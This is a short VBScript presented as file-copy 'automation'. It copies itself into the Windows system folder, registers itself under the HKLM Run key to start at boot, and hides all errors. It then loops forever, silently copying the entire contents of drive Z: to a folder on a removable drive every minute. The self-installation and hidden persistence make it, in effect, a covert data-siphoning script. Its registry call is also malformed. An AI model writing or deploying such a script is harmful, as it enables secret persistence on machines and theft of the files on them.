vbs automation copy file X: to X

on error resume next
set fso = CreateObject("Scripting.FileSystemObject")
dim n
set n = CreateObject("WScript.Shell")
set dir = fso.GetSpecialFolder(1)
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")
dim write
set write = CreateObject("WScript.Shell")
write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs", "REG_SZ"
fso.CreateFolder("E:\usbdisk\")
for i=1 to 2
i = 1
fso.CopyFile "z:\*","E:\usbdisk\",True
fso.CopyFolder "z:\*","E:\usbdisk\",True
wscript.sleep 60000
next